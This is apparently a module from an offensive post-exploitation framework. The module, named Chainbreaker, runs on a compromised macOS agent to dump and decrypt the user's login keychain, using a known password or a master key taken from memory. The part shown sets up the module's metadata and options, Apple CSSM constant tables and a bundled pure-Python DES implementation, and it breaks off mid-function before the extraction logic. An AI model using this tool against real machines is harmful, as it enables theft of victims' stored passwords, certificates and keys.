class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'Chainbreaker', # list of one or more authors for the module 'Author': ['@n0fate', '@Killswitch-GUI'], # more verbose multi-line description of the module 'Description': ("A keychain dump module that allows for decryption via known password."), # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # Use on disk execution method, rather than a dynamic exec method 'RunOnDisk' : True, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : False, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [ "https://github.com/n0fate/chainbreaker" ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' }, 'KeyChain' : { 'Description' : 'Manual location of keychain to decrypt, otherwise default.', 'Required' : True, 'Value' : '/Users/USERNAME/Library/Keychains/login.keychain' }, 'MasterKey' : { 'Description' : 'Master key candidate used in memory to decrypt keychain (recovered via mem-dump).', 'Required' : False, 'Value' : '' }, 'Password' : { 'Description' : 'Known user password to attempt to decrypt the Keychain.', 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): keyChain = self.options['KeyChain']['Value'] password = self.options['Password']['Value'] script = r""" # http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h KEY_TYPE = { 0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY', 0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY', 0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY', 0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART', 0xFFFFFFFF : 'CSSM_KEYCLASS_OTHER' } CSSM_ALGORITHMS = { 0 : 'CSSM_ALGID_NONE', 1 : 'CSSM_ALGID_CUSTOM', 2 : 'CSSM_ALGID_DH', 3 : 'CSSM_ALGID_PH', 4 : 'CSSM_ALGID_KEA', 5 : 'CSSM_ALGID_MD2', 6 : 'CSSM_ALGID_MD4', 7 : 'CSSM_ALGID_MD5', 8 : 'CSSM_ALGID_SHA1', 9 : 'CSSM_ALGID_NHASH', 10 : 'CSSM_ALGID_HAVAL:', 11 : 'CSSM_ALGID_RIPEMD', 12 : 'CSSM_ALGID_IBCHASH', 13 : 'CSSM_ALGID_RIPEMAC', 14 : 'CSSM_ALGID_DES', 15 : 'CSSM_ALGID_DESX', 16 : 'CSSM_ALGID_RDES', 17 : 'CSSM_ALGID_3DES_3KEY_EDE', 18 : 'CSSM_ALGID_3DES_2KEY_EDE', 19 : 'CSSM_ALGID_3DES_1KEY_EEE', 20 : 'CSSM_ALGID_3DES_3KEY_EEE', 21 : 'CSSM_ALGID_3DES_2KEY_EEE', 22 : 'CSSM_ALGID_IDEA', 23 : 'CSSM_ALGID_RC2', 24 : 'CSSM_ALGID_RC5', 25 : 'CSSM_ALGID_RC4', 26 : 'CSSM_ALGID_SEAL', 27 : 'CSSM_ALGID_CAST', 28 : 'CSSM_ALGID_BLOWFISH', 29 : 'CSSM_ALGID_SKIPJACK', 30 : 'CSSM_ALGID_LUCIFER', 31 : 'CSSM_ALGID_MADRYGA', 32 : 'CSSM_ALGID_FEAL', 33 : 'CSSM_ALGID_REDOC', 34 : 'CSSM_ALGID_REDOC3', 35 : 'CSSM_ALGID_LOKI', 36 : 'CSSM_ALGID_KHUFU', 37 : 'CSSM_ALGID_KHAFRE', 38 : 'CSSM_ALGID_MMB', 39 : 'CSSM_ALGID_GOST', 40 : 'CSSM_ALGID_SAFER', 41 : 'CSSM_ALGID_CRAB', 42 : 'CSSM_ALGID_RSA', 43 : 'CSSM_ALGID_DSA', 44 : 'CSSM_ALGID_MD5WithRSA', 45 : 'CSSM_ALGID_MD2WithRSA', 46 : 'CSSM_ALGID_ElGamal', 47 : 'CSSM_ALGID_MD2Random', 48 : 'CSSM_ALGID_MD5Random', 49 : 'CSSM_ALGID_SHARandom', 50 : 'CSSM_ALGID_DESRandom', 51 : 'CSSM_ALGID_SHA1WithRSA', 52 : 'CSSM_ALGID_CDMF', 53 : 'CSSM_ALGID_CAST3', 54 : 'CSSM_ALGID_CAST5', 55 : 'CSSM_ALGID_GenericSecret', 56 : 'CSSM_ALGID_ConcatBaseAndKey', 57 : 'CSSM_ALGID_ConcatKeyAndBase', 58 : 'CSSM_ALGID_ConcatBaseAndData', 59 : 'CSSM_ALGID_ConcatDataAndBase', 60 : 'CSSM_ALGID_XORBaseAndData', 61 : 'CSSM_ALGID_ExtractFromKey', 62 : 'CSSM_ALGID_SSL3PreMasterGen', 63 : 'CSSM_ALGID_SSL3MasterDerive', 64 : 'CSSM_ALGID_SSL3KeyAndMacDerive', 65 : 'CSSM_ALGID_SSL3MD5_MAC', 66 : 'CSSM_ALGID_SSL3SHA1_MAC', 67 : 'CSSM_ALGID_PKCS5_PBKDF1_MD5', 68 : 'CSSM_ALGID_PKCS5_PBKDF1_MD2', 69 : 'CSSM_ALGID_PKCS5_PBKDF1_SHA1', 70 : 'CSSM_ALGID_WrapLynks', 71 : 'CSSM_ALGID_WrapSET_OAEP', 72 : 'CSSM_ALGID_BATON', 73 : 'CSSM_ALGID_ECDSA', 74 : 'CSSM_ALGID_MAYFLY', 75 : 'CSSM_ALGID_JUNIPER', 76 : 'CSSM_ALGID_FASTHASH', 77 : 'CSSM_ALGID_3DES', 78 : 'CSSM_ALGID_SSL3MD5', 79 : 'CSSM_ALGID_SSL3SHA1', 80 : 'CSSM_ALGID_FortezzaTimestamp', 81 : 'CSSM_ALGID_SHA1WithDSA', 82 : 'CSSM_ALGID_SHA1WithECDSA', 83 : 'CSSM_ALGID_DSA_BSAFE', 84 : 'CSSM_ALGID_ECDH', 85 : 'CSSM_ALGID_ECMQV', 86 : 'CSSM_ALGID_PKCS12_SHA1_PBE', 87 : 'CSSM_ALGID_ECNRA', 88 : 'CSSM_ALGID_SHA1WithECNRA', 89 : 'CSSM_ALGID_ECES', 90 : 'CSSM_ALGID_ECAES', 91 : 'CSSM_ALGID_SHA1HMAC', 92 : 'CSSM_ALGID_FIPS186Random', 93 : 'CSSM_ALGID_ECC', 94 : 'CSSM_ALGID_MQV', 95 : 'CSSM_ALGID_NRA', 96 : 'CSSM_ALGID_IntelPlatformRandom', 97 : 'CSSM_ALGID_UTC', 98 : 'CSSM_ALGID_HAVAL3', 99 : 'CSSM_ALGID_HAVAL4', 100 : 'CSSM_ALGID_HAVAL5', 101 : 'CSSM_ALGID_TIGER', 102 : 'CSSM_ALGID_MD5HMAC', 103 : 'CSSM_ALGID_PKCS5_PBKDF2', 104 : 'CSSM_ALGID_RUNNING_COUNTER', 0x7FFFFFFF : 'CSSM_ALGID_LAST' } #CSSM TYPE ## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h ########## CSSM_DB_RECORDTYPE ############# #/* Industry At Large Application Name Space Range Definition */ #/* AppleFileDL record types. */ CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000 CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0 CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1 CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2 CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3 CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4 CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5 CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6 CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000 CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000 ## DBBlob CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff #/* Record Types defined in the Schema Management Name Space */ CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000 CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0 CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1 CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2 CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3 CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4 #/* Record Types defined in the Open Group Application Name Space */ #/* Open Group Application Name Space Range Definition*/ CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0 CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1 CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2 CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3 CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4 CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5 CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6 CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7 CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 ##################### ######## KEYUSE ######### CSSM_KEYUSE_ANY = 0x80000000 CSSM_KEYUSE_ENCRYPT = 0x00000001 CSSM_KEYUSE_DECRYPT = 0x00000002 CSSM_KEYUSE_SIGN = 0x00000004 CSSM_KEYUSE_VERIFY = 0x00000008 CSSM_KEYUSE_SIGN_RECOVER = 0x00000010 CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020 CSSM_KEYUSE_WRAP = 0x00000040 CSSM_KEYUSE_UNWRAP = 0x00000080 CSSM_KEYUSE_DERIVE = 0x00000100 #################### ############ CERT TYPE ############## CERT_TYPE = { 0x00 : 'CSSM_CERT_UNKNOWN', 0x01 : 'CSSM_CERT_X_509v1', 0x02 : 'CSSM_CERT_X_509v2', 0x03 : 'CSSM_CERT_X_509v3', 0x04 : 'CSSM_CERT_PGP', 0x05 : 'CSSM_CERT_SPKI', 0x06 : 'CSSM_CERT_SDSIv1', 0x08 : 'CSSM_CERT_Intel', 0x09 : 'CSSM_CERT_X_509_ATTRIBUTE', 0x0A : 'CSSM_CERT_X9_ATTRIBUTE', 0x0C : 'CSSM_CERT_ACL_ENTRY', 0x7FFE: 'CSSM_CERT_MULTIPLE', 0x7FFF : 'CSSM_CERT_LAST', 0x8000 : 'CSSM_CL_CUSTOM_CERT_TYPE' } #################################### ########### CERT ENCODING ############# CERT_ENCODING = { 0x00 : 'CSSM_CERT_ENCODING_UNKNOWN', 0x01 : 'CSSM_CERT_ENCODING_CUSTOM', 0x02 : 'CSSM_CERT_ENCODING_BER', 0x03 : 'CSSM_CERT_ENCODING_DER', 0x04 : 'CSSM_CERT_ENCODING_NDR', 0x05 : 'CSSM_CERT_ENCODING_SEXPR', 0x06 : 'CSSM_CERT_ENCODING_PGP', 0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE', 0x7FFF : 'CSSM_CERT_ENCODING_LAST' } STD_APPLE_ADDIN_MODULE = { '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself', '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")', '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)', '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")', '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL', '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP', '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL', '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies', '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL', '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access' } SECURE_STORAGE_GROUP = 'ssgp' AUTH_TYPE = { 'ntlm': 'kSecAuthenticationTypeNTLM', 'msna': 'kSecAuthenticationTypeMSN', 'dpaa': 'kSecAuthenticationTypeDPA', 'rpaa': 'kSecAuthenticationTypeRPA', 'http': 'kSecAuthenticationTypeHTTPBasic', 'httd': 'kSecAuthenticationTypeHTTPDigest', 'form': 'kSecAuthenticationTypeHTMLForm', 'dflt': 'kSecAuthenticationTypeDefault', '': 'kSecAuthenticationTypeAny', '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny' } PROTOCOL_TYPE = { 'ftp ': 'kSecProtocolTypeFTP', 'ftpa': 'kSecProtocolTypeFTPAccount', 'http': 'kSecProtocolTypeHTTP', 'irc ': 'kSecProtocolTypeIRC', 'nntp': 'kSecProtocolTypeNNTP', 'pop3': 'kSecProtocolTypePOP3', 'smtp': 'kSecProtocolTypeSMTP', 'sox ': 'kSecProtocolTypeSOCKS', 'imap': 'kSecProtocolTypeIMAP', 'ldap': 'kSecProtocolTypeLDAP', 'atlk': 'kSecProtocolTypeAppleTalk', 'afp ': 'kSecProtocolTypeAFP', 'teln': 'kSecProtocolTypeTelnet', 'ssh ': 'kSecProtocolTypeSSH', 'ftps': 'kSecProtocolTypeFTPS', 'htps': 'kSecProtocolTypeHTTPS', 'htpx': 'kSecProtocolTypeHTTPProxy', 'htsx': 'kSecProtocolTypeHTTPSProxy', 'ftpx': 'kSecProtocolTypeFTPProxy', 'cifs': 'kSecProtocolTypeCIFS', 'smb ': 'kSecProtocolTypeSMB', 'rtsp': 'kSecProtocolTypeRTSP', 'rtsx': 'kSecProtocolTypeRTSPProxy', 'daap': 'kSecProtocolTypeDAAP', 'eppc': 'kSecProtocolTypeEPPC', 'ipp ': 'kSecProtocolTypeIPP', 'ntps': 'kSecProtocolTypeNNTPS', 'ldps': 'kSecProtocolTypeLDAPS', 'tels': 'kSecProtocolTypeTelnetS', 'imps': 'kSecProtocolTypeIMAPS', 'ircs': 'kSecProtocolTypeIRCS', 'pops': 'kSecProtocolTypePOP3S', 'cvsp': 'kSecProtocolTypeCVSpserver', 'svn ': 'kSecProtocolTypeCVSpserver', 'AdIM': 'kSecProtocolTypeAdiumMessenger', '\x00\x00\x00\x00': 'kSecProtocolTypeAny' } # This is somewhat gross: we define a bunch of module-level constants based on # the SecKeychainItem.h defines (FourCharCodes) by passing them through # struct.unpack and converting them to ctypes.c_long() since we'll never use # them for non-native APIs CARBON_DEFINES = { 'cdat': 'kSecCreationDateItemAttr', 'mdat': 'kSecModDateItemAttr', 'desc': 'kSecDescriptionItemAttr', 'icmt': 'kSecCommentItemAttr', 'crtr': 'kSecCreatorItemAttr', 'type': 'kSecTypeItemAttr', 'scrp': 'kSecScriptCodeItemAttr', 'labl': 'kSecLabelItemAttr', 'invi': 'kSecInvisibleItemAttr', 'nega': 'kSecNegativeItemAttr', 'cusi': 'kSecCustomIconItemAttr', 'acct': 'kSecAccountItemAttr', 'svce': 'kSecServiceItemAttr', 'gena': 'kSecGenericItemAttr', 'sdmn': 'kSecSecurityDomainItemAttr', 'srvr': 'kSecServerItemAttr', 'atyp': 'kSecAuthenticationTypeItemAttr', 'port': 'kSecPortItemAttr', 'path': 'kSecPathItemAttr', 'vlme': 'kSecVolumeItemAttr', 'addr': 'kSecAddressItemAttr', 'ssig': 'kSecSignatureItemAttr', 'ptcl': 'kSecProtocolItemAttr', 'ctyp': 'kSecCertificateType', 'cenc': 'kSecCertificateEncoding', 'crtp': 'kSecCrlType', 'crnc': 'kSecCrlEncoding', 'alis': 'kSecAlias', 'inet': 'kSecInternetPasswordItemClass', 'genp': 'kSecGenericPasswordItemClass', 'ashp': 'kSecAppleSharePasswordItemClass', CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass' } # ############################################################################ # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 7th May, 2003 # Verion: 1.1 # Homepage: http://home.pacific.net.au/~twhitema/des.html # # Modifications to 3des CBC code by Matt Johnston 2004 # # This algorithm is a pure python implementation of the DES algorithm. # It is in pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilising the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. '''A pure python implementation of the DES and TRIPLE DES encryption algorithms pyDes.des(key, [mode], [IV]) pyDes.triple_des(key, [mode], [IV]) key -> String containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional argument, must be supplied if using CBC mode. Must be 8 bytes Example: from pyDes import * data = "Please encrypt my string" k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt(data) print "Encypted string: " + d print "Decypted string: " + k.decrypt(d) See the module source (pyDes.py) for more examples of use. You can slo run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. ''' # Modes of crypting / cyphering ECB = 0 CBC = 1 ############################################################################# # DES # ############################################################################# class des: '''DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> The encryption key string, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional string argument, must be supplied if using CBC mode. Must be 8 bytes in length. ''' # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None): if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") self.block_size = 8 self.key_size = 8 self.__padding = '' # Set the passed in variables self.setMode(mode) if IV: self.setIV(IV) self.L = [] self.R = [] self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def getKey(self): '''getKey() -> string''' return self.__key def setKey(self, key): '''Will set the crypting key for this object. Must be 8 bytes''' self.__key = key self.__create_sub_keys() def getMode(self): '''getMode() -> pyDes.ECB or pyDes.CBC''' return self.__mode def setMode(self, mode): '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC''' self.__mode = mode def getIV(self): '''getIV() -> string''' return self.__iv def setIV(self, IV): '''Will set the Initial Value, used in conjunction with CBC mode''' if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") self.__iv = IV def getPadding(self): '''getPadding() -> string of length 1. Padding character''' return self.__padding def __String_to_BitList(self, data): '''Turn the string data, into a list of bits (1, 0)'s''' l = len(data) * 8 result = [0] * l pos = 0 for c in data: i = 7 ch = ord(c) while i >= 0: if ch & (1 << i) != 0: result[pos] = 1 else: result[pos] = 0 pos += 1 i -= 1 return result def __BitList_to_String(self, data): '''Turn the list of bits -> data, into a string''' result = '' pos = 0 c = 0 while pos < len(data): c += data[pos] << (7 - (pos % 8)) if (pos % 8) == 7: result += chr(c) c = 0 pos += 1 return result def __permutate(self, table, block): '''Permutate this block with the specified table''' return map(lambda x: block[x], table) # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): '''Create the 16 subkeys K[1] to K[16] from the given key''' key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): '''Crypt the block of data through DES bit-manipulation''' block = self.__permutate(des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 #B = [] #while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 Bn = [0] * 32 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = map(lambda x, y: x ^ y, self.R, self.L) # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): '''Crypt the data in blocks, running it through des_crypt''' # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError( "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str( self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] #cached = 0 #lines = 0 while i < len(data): # Test code for caching encryption results #lines += 1 #if dict.has_key(data[i:i+8]): #print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i + 8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = map(lambda x, y: x ^ y, block, iv) #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == 